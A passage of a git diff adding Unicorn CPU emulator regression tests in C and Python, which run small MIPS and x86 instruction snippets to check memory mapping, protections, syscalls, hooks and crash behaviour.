0xFF,0xFF,0x84,0x24, // 10000C: addiu $a0, -1 +}; +bool test_passed_ok = false; +int loop_count = 0; + + +static void mips_codehook(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + if( address == 0x10000C ) + test_passed_ok = true; + if( address == 0x100004 ) + { + printf("\nloop %d:\n", loop_count); + loop_count++; + } + printf("Code: %"PRIx64"\n", address); +} + + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_err err; + uc_hook hhc; + uint32_t val; + + // dynamically load shared library +#ifdef DYNLOAD + uc_dyn_load(NULL, 0); +#endif + + // Initialize emulator in MIPS 32bit little endian mode + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32, &uc); + if (err) + { + printf("Failed on uc_open() with error returned: %u\n", err); + return err; + } + + // map in a page of mem + err = uc_mem_map(uc, addr, 0x1000, UC_PROT_ALL); + if (err) + { + printf("Failed on uc_mem_map() with error returned: %u\n", err); + return err; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, addr, loop_test_code, sizeof(loop_test_code)); + if( err ) + { + printf("Failed on uc_mem_write() with error returned: %u\n", err); + return err; + } + + // hook all instructions by having @begin > @end + uc_hook_add(uc, &hhc, UC_HOOK_CODE, mips_codehook, NULL, 1, 0); + if( err ) + { + printf("Failed on uc_hook_add(code) with error returned: %u\n", err); + return err; + } + + // execute code + printf("---- Executing Code ----\n"); + err = uc_emu_start(uc, addr, addr + sizeof(loop_test_code), 0, 0); + if (err) + { + printf("Failed on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + return err; + } + + // done executing, print some reg values as a test + printf("---- Execution Complete ----\n\n"); + uc_reg_read(uc, UC_MIPS_REG_PC, &val); printf("pc is %X\n", val); + uc_reg_read(uc, UC_MIPS_REG_A0, &val); printf("a0 is %X\n", val); + + // free resources + uc_close(uc); + + if( test_passed_ok ) + printf("\n\nTEST PASSED!\n\n"); + else + printf("\n\nTEST FAILED!\n\n"); + + // dynamically free shared library +#ifdef DYNLOAD + uc_dyn_free(); +#endif + + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_except.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_except.py new file mode 100644 index 0000000..b400efe --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_except.py @@ -0,0 +1,41 @@ +#!/usr/bin/python +from unicorn import * +from unicorn.mips_const import * + +import regress + +def hook_intr(uc, intno, _): + print 'interrupt', intno + +CODE = 0x400000 +asm = '0000a48f'.decode('hex') # lw $a0, ($sp) + +class MipsExcept(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN) + uc.hook_add(UC_HOOK_INTR, hook_intr) + uc.mem_map(CODE, 0x1000) + uc.mem_write(CODE, asm) + + with self.assertRaises(UcError) as m: + uc.reg_write(UC_MIPS_REG_SP, 0x400001) + uc.emu_start(CODE, CODE + len(asm), 300) + + self.assertEqual(UC_ERR_READ_UNALIGNED, m.exception.errno) + + with self.assertRaises(UcError) as m: + uc.reg_write(UC_MIPS_REG_SP, 0xFFFFFFF0) + uc.emu_start(CODE, CODE + len(asm), 200) + + self.assertEqual(UC_ERR_READ_UNMAPPED, m.exception.errno) + + with self.assertRaises(UcError) as m: + uc.reg_write(UC_MIPS_REG_SP, 0x80000000) + uc.emu_start(CODE, CODE + len(asm), 100) + + self.assertEqual(UC_ERR_READ_UNMAPPED, m.exception.errno) + +if __name__ == '__main__': + regress.main() + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_invalid_read_of_size_4_when_tracing.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_invalid_read_of_size_4_when_tracing.c new file mode 100644 index 0000000..013016e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_invalid_read_of_size_4_when_tracing.c @@ -0,0 +1,33 @@ +#include + +static void hook_code(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("tracing\n"); +} + +#define HARDWARE_ARCHITECTURE UC_ARCH_MIPS +#define HARDWARE_MODE UC_MODE_MIPS32 + +#define MEMORY_STARTING_ADDRESS 0x1000000 +#define MEMORY_SIZE 2 * 1024 * 1024 +#define MEMORY_PERMISSIONS UC_PROT_ALL + +#define BINARY_CODE "00000000000000000000000000AA" + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook trace; + uc_hook_add(uc, &trace, UC_HOOK_CODE, hook_code, NULL, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + 1); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 0); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kernel_mmu.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kernel_mmu.py new file mode 100644 index 0000000..51602fa --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kernel_mmu.py @@ -0,0 +1,24 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.mips_const import * + +import regress + +class MipsSyscall(regress.RegressTest): + def test(self): + addr = 0x80000000 + code = '34213456'.decode('hex') # ori $at, $at, 0x3456 + + uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN) + uc.mem_map(addr, 0x1000) + uc.mem_write(addr, code) + uc.reg_write(UC_MIPS_REG_AT, 0) + + uc.emu_start(addr, addr + len(code)) + + self.assertEqual(uc.reg_read(UC_MIPS_REG_AT), 0x3456) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kseg0_1.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kseg0_1.c new file mode 100644 index 0000000..be47bf5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_kseg0_1.c @@ -0,0 +1,75 @@ +#include +#include +#include +#include + +// Test for the MIPS kseg0 and kseg1 memory segments. +// See issue https://github.com/unicorn-engine/unicorn/issues/217 +// The kseg0 address range 0x80000000-0x9FFFFFFF is not mapped through the MMU, +// but instead is directly translated to low ram by masking off the high address bit. +// Similarly, the address range kseg1 0xA00000000-0xBFFFFFF is translated directly to +// low ram by masking off the top 3 address bits. +// Qemu handles these address ranges correctly, but there are issues with the way Unicorn checks for +// a valid memory mapping when executing code in the kseg0 or kseg1 memory range. +// In particular, Unicorn checks for a valid mapping using the virtual address when executing from kseg0/1, +// when it should probably use the real address in low ram. + +#define KSEG0_VIRT_ADDRESS 0x80001000 //Virtual address in kseg0, mapped by processor (and QEMU) to 0x1000 +#define KSEG1_VIRT_ADDRESS 0xA0001000 //Virtual address in kseg1, mapped by processor (and QEMU) to 0x1000 +#define KSEG0_1_REAL_ADDRESS 0x1000 //Real address corresponding to the above addresses in kseg0/1 + +#define MIPS_CODE_EL "\x56\x34\x21\x34" // ori $at, $at, 0x3456; + +int main() +{ + + uc_engine *uc; + uc_err err; + + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32, &uc); + if (err) { + printf("uc_open %d\n", err); + return 1; + } + + // map 4Kb memory for this emulation, into the real address space + err = uc_mem_map(uc, KSEG0_1_REAL_ADDRESS, 4 * 1024, UC_PROT_ALL); + if (err) { + printf("uc_mem_map %d\n", err); + return 1; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, KSEG0_1_REAL_ADDRESS, MIPS_CODE_EL, sizeof(MIPS_CODE_EL) - 1); + if (err) { + printf("uc_mem_map %s\n", uc_strerror(err)); + return 1; + } + + //Start emulation at real address, this currently succeeds + err = uc_emu_start(uc, KSEG0_1_REAL_ADDRESS, KSEG0_1_REAL_ADDRESS + 4, 0, 0); + if (err) { + printf("uc_emu_start at real address: %s\n", uc_strerror(err)); + return 1; + } + + //Start emulation at virtual address in kseg0, this cuurently fails + err = uc_emu_start(uc, KSEG0_VIRT_ADDRESS, KSEG0_VIRT_ADDRESS + 4, 0, 0); + if (err) { + printf("uc_emu_start at kseg0 address: %s\n", uc_strerror(err)); + return 1; + } + + //Start emulation at virtual address in kseg1, this currently fails + err = uc_emu_start(uc, KSEG1_VIRT_ADDRESS, KSEG1_VIRT_ADDRESS + 4, 0, 0); + if (err) { + printf("uc_emu_start at kseg1 address: %s\n", uc_strerror(err)); + return 1; + } + + uc_close(uc); + + printf("Good, this bug is fixed!\n"); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_single_step_sp.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_single_step_sp.py new file mode 100644 index 0000000..b3c7840 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_single_step_sp.py @@ -0,0 +1,51 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.mips_const import * + +import regress + +def code_hook(uc, addr, size, user_data): + print 'code hook: pc=%08x sp=%08x' % (addr, uc.reg_read(UC_MIPS_REG_SP)) + +def run(step=False): + addr = 0x4010dc + + code = ( + 'f8ff0124' # addiu $at, $zero, -8 + '24e8a103' # and $sp, $sp, $at + '09f82003' # jalr $t9 + 'e8ffbd23' # addi $sp, $sp, -0x18 + 'b8ffbd27' # addiu $sp, $sp, -0x48 + '00000000' # nop + ).decode('hex') + + uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN) + if step: + uc.hook_add(UC_HOOK_CODE, code_hook) + + uc.reg_write(UC_MIPS_REG_SP, 0x60800000) + uc.reg_write(UC_MIPS_REG_T9, addr + len(code) - 8) + + print 'sp =', hex(uc.reg_read(UC_MIPS_REG_SP)) + print 'at =', hex(uc.reg_read(UC_MIPS_REG_AT)) + print ' (single step: %s)' % (str(step)) + + uc.mem_map(addr & ~(0x1000 - 1), 0x2000) + uc.mem_write(addr, code) + uc.emu_start(addr, addr + len(code)) + + print 'sp =', hex(uc.reg_read(UC_MIPS_REG_SP)) + print 'at =', hex(uc.reg_read(UC_MIPS_REG_AT)) + print + return uc.reg_read(UC_MIPS_REG_SP) + + +class MipsSingleStep(regress.RegressTest): + def test(self): + sp1 = run(step=False) + sp2 = run(step=True) + self.assertEqual(sp1, sp2) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_syscall_pc.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_syscall_pc.py new file mode 100644 index 0000000..995b154 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_syscall_pc.py @@ -0,0 +1,27 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.mips_const import * + +import regress + +def intr_hook(uc, intno, data): + print 'interrupt=%d, v0=%d, pc=0x%08x' % (intno, uc.reg_read(UC_MIPS_REG_V0), uc.reg_read(UC_MIPS_REG_PC)) + +class MipsSyscall(regress.RegressTest): + def test(self): + addr = 0x40000 + code = '0c000000'.decode('hex') # syscall + + uc = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN) + uc.mem_map(addr, 0x1000) + uc.mem_write(addr, code) + uc.reg_write(UC_MIPS_REG_V0, 100) + uc.hook_add(UC_HOOK_INTR, intr_hook) + + uc.emu_start(addr, addr+len(code)) + self.assertEqual(0x40004, uc.reg_read(UC_MIPS_REG_PC)) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mov_gs_eax.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mov_gs_eax.py new file mode 100644 index 0000000..fe381eb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mov_gs_eax.py @@ -0,0 +1,24 @@ +#!/usr/bin/python + +from unicorn import * +from unicorn.x86_const import * + +import regress + +class VldrPcInsn(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_X86, UC_MODE_32) + uc.mem_map(0x1000, 0x1000) + # mov gs, eax; mov eax, 1 + code = '8ee8b801000000'.decode('hex') + uc.mem_write(0x1000, code) + uc.reg_write(UC_X86_REG_EAX, 0xFFFFFFFF) + + with self.assertRaises(UcError) as ex_ctx: + uc.emu_start(0x1000, 0x1000 + len(code)) + + self.assertEquals(ex_ctx.exception.errno, UC_ERR_EXCEPTION) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/movsd.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/movsd.py new file mode 100644 index 0000000..2876613 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/movsd.py @@ -0,0 +1,35 @@ +#!/usr/bin/python +# By Ryan Hileman, issue #3 + +from capstone import * +from unicorn import * +from unicorn.x86_const import * + +import regress +code = 'f20f1005aa120000'.decode('hex') + +def dis(mem, addr): + md = Cs(CS_ARCH_X86, CS_MODE_64) + return '\n'.join([ + '%s %s' % (i.mnemonic, i.op_str) + for i in md.disasm(str(mem), addr) + ]) + +def hook_code(uc, addr, size, user_data): + mem = uc.mem_read(addr, size) + print 'instruction size:', size + print 'instruction:', str(mem).encode('hex'), dis(mem, addr) + print 'reference: ', code.encode('hex'), dis(code, addr) + +class Movsd(regress.RegressTest): + + def runTest(self): + addr = 0x400000 + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.hook_add(UC_HOOK_CODE, hook_code) + mu.mem_map(addr, 8 * 1024 * 1024) + mu.mem_write(addr, code) + mu.emu_start(addr, addr + len(code)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/nr_mem_test.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/nr_mem_test.c new file mode 100644 index 0000000..34a8814 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/nr_mem_test.c @@ -0,0 +1,108 @@ +/* +Non-readable memory test case + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +#include + +#include + +const uint8_t PROGRAM[] = + "\x8b\x1d\x00\x00\x30\x00\xa1\x00\x00\x40\x00"; +// total size: 11 bytes + +/* +bits 32 + + mov ebx, [0x300000] + mov eax, [0x400000] +*/ + +// callback for tracing memory access (READ or WRITE) +static bool hook_mem_invalid(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data) +{ + + switch(type) { + default: + // return false to indicate we want to stop emulation + return false; + case UC_MEM_READ_PROT: + printf(">>> non-readable memory is being read at 0x%"PRIx64 ", data size = %u\n", + address, size); + return false; + } +} + + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_hook trace1; + uc_err err; + uint32_t eax, ebx; + + printf("Memory protections test\n"); + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err) { + printf("Failed on uc_open() with error returned: %u\n", err); + return 1; + } + + uc_mem_map(uc, 0x100000, 0x1000, UC_PROT_READ); + uc_mem_map(uc, 0x300000, 0x1000, UC_PROT_READ | UC_PROT_WRITE); + uc_mem_map(uc, 0x400000, 0x1000, UC_PROT_WRITE); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, 0x100000, PROGRAM, sizeof(PROGRAM))) { + printf("Failed to write emulation code to memory, quit!\n"); + return 2; + } else { + printf("Allowed to write to read only memory via uc_mem_write\n"); + } + + uc_mem_write(uc, 0x300000, (const uint8_t*)"\x41\x41\x41\x41", 4); + uc_mem_write(uc, 0x400000, (const uint8_t*)"\x42\x42\x42\x42", 4); + + //uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, 0x400000, 0x400fff); + + // intercept invalid memory events + uc_hook_add(uc, &trace1, UC_MEM_READ_PROT, hook_mem_invalid, NULL, 1, 0); + + // emulate machine code in infinite time + printf("BEGIN execution\n"); + err = uc_emu_start(uc, 0x100000, 0x100000 + sizeof(PROGRAM), 0, 2); + if (err) { + printf("Expected failure on uc_emu_start() with error returned %u: %s\n", + err, uc_strerror(err)); + } else { + printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n"); + } + printf("END execution\n"); + + uc_reg_read(uc, UC_X86_REG_EAX, &eax); + printf("Final eax = 0x%x\n", eax); + uc_reg_read(uc, UC_X86_REG_EBX, &ebx); + printf("Final ebx = 0x%x\n", ebx); + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/osx_qemu_thread_create_crash.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/osx_qemu_thread_create_crash.py new file mode 100644 index 0000000..b34b319 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/osx_qemu_thread_create_crash.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +import platform +import resource + +from unicorn import * + +import regress + +# OS X: OK with 2047 iterations. +# OS X: Crashes at 2048:th iteration ("qemu: qemu_thread_create: Resource temporarily unavailable"). +# Linux: No crashes observed. +class ThreadCreateCrash(regress.RegressTest): + def test(self): + for i in xrange(2048): + Uc(UC_ARCH_X86, UC_MODE_64) + self.assertTrue(True, "If not reached, then we have a crashing bug.") + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/potential_memory_leak.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/potential_memory_leak.py new file mode 100644 index 0000000..29a2998 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/potential_memory_leak.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +import platform +import resource + +from unicorn import * + +import regress + +class MemoryLeak(regress.RegressTest): + def test(self): + if platform.system() == "Darwin": + rusage_multiplier = 1 + elif platform.system() == "Linux": + rusage_multiplier = 1024 + else: + # resource.getrusage(...) is platform dependent. Only tested under OS X and Linux. + return + max_rss_before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss * rusage_multiplier + for i in xrange(10000): + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.mem_map(0, 4096) + mu.emu_start(0, 0) + max_rss_after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss * rusage_multiplier + rss_increase_per_iteration = (max_rss_after - max_rss_before) / i + self.assertLess(rss_increase_per_iteration, 8000) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/pshufb.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/pshufb.py new file mode 100644 index 0000000..4e60b7d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/pshufb.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +# By Ryan Hileman, issue #91 + +# Invalid instruction = test failed + +from unicorn import * +from unicorn.x86_const import * + +import regress + +class Pshufb(regress.RegressTest): + + def runTest(self): + uc = Uc(UC_ARCH_X86, UC_MODE_64) + uc.mem_map(0x2000, 0x1000) + # pshufb xmm0, xmm1 + uc.mem_write(0x2000, '660f3800c1'.decode('hex')) + uc.emu_start(0x2000, 0x2005) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/reg_write_sign_extension.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/reg_write_sign_extension.py new file mode 100644 index 0000000..b7d3be5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/reg_write_sign_extension.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +"""See https://github.com/unicorn-engine/unicorn/issues/98""" + +import unicorn +import regress + +ADDR = 0xffaabbcc + +def hook_mem_invalid(mu, access, address, size, value, user_data): + print ">>> Access type: %u, expected value: 0x%x, actual value: 0x%x" % (access, ADDR, address) + assert(address == ADDR) + mu.mem_map(address & 0xfffff000, 4 * 1024) + mu.mem_write(address, b'\xcc') + return True + +class RegWriteSignExt(regress.RegressTest): + + def runTest(self): + mu = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_32) + mu.reg_write(unicorn.x86_const.UC_X86_REG_EBX, ADDR) + + mu.mem_map(0x10000000, 1024 * 4) + # jmp ebx + mu.mem_write(0x10000000, b'\xff\xe3') + + mu.hook_add(unicorn.UC_HOOK_MEM_FETCH_UNMAPPED | unicorn.UC_HOOK_MEM_FETCH_PROT, hook_mem_invalid) + mu.emu_start(0x10000000, 0x10000000 + 2, count=1) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.py new file mode 100644 index 0000000..2e4f253 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.py @@ -0,0 +1,34 @@ +#!/usr/bin/python + +import unittest + +from os.path import dirname, basename, isfile +import glob + +# Find all unittest type in this directory and run it. + +class RegressTest(unittest.TestCase): + pass + +def main(): + unittest.main() + +if __name__ == '__main__': + directory = dirname(__file__) + if directory == '': + directory = '.' + modules = glob.glob(directory+"/*.py") + __all__ = [ basename(f)[:-3] for f in modules if isfile(f)] + suite = unittest.TestSuite() + + for module in __all__: + m = __import__(module) + for cl in dir(m): + try: + realcl = getattr(m,cl) + if issubclass(realcl, unittest.TestCase): + suite.addTest(realcl()) + except Exception as e: + pass + + unittest.TextTestRunner().run(suite) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.sh b/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.sh new file mode 100644 index 0000000..0c05699 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/regress.sh @@ -0,0 +1,22 @@ +#!/bin/sh + + +./map_crash +./map_write +./sigill +./sigill2 +./block_test +./ro_mem_test +./nr_mem_test +./timeout_segfault +./rep_movsb +./mem_unmap +./mem_protect +./mem_exec +./mem_map_large +./00opcode_uc_crash +./eflags_noset +./eflags_nosync +./mips_kseg0_1 +./mem_double_unmap + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_hook.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_hook.py new file mode 100644 index 0000000..493c0d1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_hook.py @@ -0,0 +1,30 @@ +#!/usr/bin/python +from unicorn import * +from unicorn.x86_const import * +import regress + +PAGE_SIZE = 4 * 1024 + +CODE = b'\xf3\xaa' # rep stosb + + +def hook_code(uc, addr, size, user_data): + print("hook called at %x" %addr) + +class REP(regress.RegressTest): + + def test_rep(self): + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + mu.mem_map(0, PAGE_SIZE) + mu.mem_write(0, CODE) + mu.reg_write(UC_X86_REG_ECX, 3) + mu.reg_write(UC_X86_REG_EDI, 0x100) + mu.hook_add(UC_HOOK_CODE, hook_code) + + mu.emu_start(0, len(CODE)) + self.assertEqual(0, mu.reg_read(UC_X86_REG_ECX)) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_movsb.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_movsb.c new file mode 100644 index 0000000..436a02b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/rep_movsb.c @@ -0,0 +1,182 @@ +/* + +rep movsb regression + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +#define __STDC_FORMAT_MACROS +#include +#include +#include +#include + +#include + +unsigned char PROGRAM[] = + "\xbe\x00\x00\x20\x00\xbf\x00\x10\x20\x00\xb9\x14\x00\x00\x00\xf3" + "\xa4\xf4"; +// total size: 18 bytes + +/* +bits 32 + +; assumes code section at 0x100000 r-x +; assumes data section at 0x200000-0x202000, rw- + +mov esi, 0x200000 +mov edi, 0x201000 +mov ecx, 20 +rep movsb +hlt +*/ + +static int log_num = 1; + +// callback for tracing instruction +static void hook_code(uc_engine *uc, uint64_t addr, uint32_t size, void *user_data) +{ + uint8_t opcode; + if (uc_mem_read(uc, addr, &opcode, 1) != UC_ERR_OK) { + printf("not ok %d - uc_mem_read fail during hook_code callback, addr: 0x%" PRIx64 "\n", log_num++, addr); + _exit(-1); + } + switch (opcode) { + case 0xf4: //hlt + printf("# Handling HLT\n"); + if (uc_emu_stop(uc) != UC_ERR_OK) { + printf("not ok %d - uc_emu_stop fail during hook_code callback, addr: 0x%" PRIx64 "\n", log_num++, addr); + _exit(-1); + } + else { + printf("ok %d - hlt encountered, uc_emu_stop called\n", log_num++); + } + break; + default: //all others + break; + } +} + +// callback for tracing memory access (READ or WRITE) +static void hook_mem_write(uc_engine *uc, uc_mem_type type, + uint64_t addr, int size, int64_t value, void *user_data) +{ + printf("# write to memory at 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", addr, size, value); + if (addr < 0x201000L) { + //this is actually a read, we don't write in this range + printf("not ok %d - write hook called for read of 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", log_num++, addr, size, value); + } + else { + printf("ok %d - write hook called for write of 0x%"PRIx64 ", data size = %u, data value = 0x%"PRIx64 "\n", log_num++, addr, size, value); + } +} + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_hook trace1, trace2; + uc_err err; + uint8_t buf1[100], readbuf[100]; + + printf("# rep movsb test\n"); + + memset(buf1, 'A', 20); + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err) { + printf("not ok %d - Failed on uc_open() with error returned: %u\n", log_num++, err); + return 1; + } + else { + printf("ok %d - uc_open() success\n", log_num++); + } + + uc_mem_map(uc, 0x100000, 0x1000, UC_PROT_READ); + uc_mem_map(uc, 0x200000, 0x2000, UC_PROT_READ | UC_PROT_WRITE); + + // fill in the data that we want to copy + if (uc_mem_write(uc, 0x200000, buf1, 20)) { + printf("not ok %d - Failed to write read buffer to memory, quit!\n", log_num++); + return 2; + } + else { + printf("ok %d - Read buffer written to memory\n", log_num++); + } + + // write machine code to be emulated to memory + if (uc_mem_write(uc, 0x100000, PROGRAM, sizeof(PROGRAM))) { + printf("not ok %d - Failed to write emulation code to memory, quit!\n", log_num++); + return 4; + } + else { + printf("ok %d - Program written to memory\n", log_num++); + } + + if (uc_hook_add(uc, &trace2, UC_HOOK_CODE, hook_code, NULL, 1, 0) != UC_ERR_OK) { + printf("not ok %d - Failed to install UC_HOOK_CODE handler\n", log_num++); + return 5; + } + else { + printf("ok %d - UC_HOOK_CODE installed\n", log_num++); + } + + // intercept memory write events only, NOT read events + if (uc_hook_add(uc, &trace1, UC_HOOK_MEM_WRITE, hook_mem_write, NULL, 1, 0) != UC_ERR_OK) { + printf("not ok %d - Failed to install UC_HOOK_MEM_WRITE handler\n", log_num++); + return 6; + } + else { + printf("ok %d - UC_HOOK_MEM_WRITE installed\n", log_num++); + } + + // emulate machine code until told to stop by hook_code + printf("# BEGIN execution\n"); + err = uc_emu_start(uc, 0x100000, 0x101000, 0, 0); + if (err != UC_ERR_OK) { + printf("not ok %d - Failure on uc_emu_start() with error %u:%s\n", log_num++, err, uc_strerror(err)); + return 8; + } + else { + printf("ok %d - uc_emu_start complete\n", log_num++); + } + printf("# END execution\n"); + + //make sure that data got copied + // fill in sections that shouldn't get touched + if (uc_mem_read(uc, 0x201000, readbuf, 20)) { + printf("not ok %d - Failed to read random buffer 1 from memory\n", log_num++); + } + else { + printf("ok %d - Random buffer 1 read from memory\n", log_num++); + if (memcmp(buf1, readbuf, 20)) { + printf("not ok %d - write buffer contents are incorrect\n", log_num++); + } + else { + printf("ok %d - write buffer contents are correct\n", log_num++); + } + } + + if (uc_close(uc) == UC_ERR_OK) { + printf("ok %d - uc_close complete\n", log_num++); + } + else { + printf("not ok %d - uc_close complete\n", log_num++); + } + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/ro_mem_test.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/ro_mem_test.c new file mode 100644 index 0000000..0197877 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/ro_mem_test.c @@ -0,0 +1,209 @@ +/* +Non-writable memory test case + +Copyright(c) 2015 Chris Eagle + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. 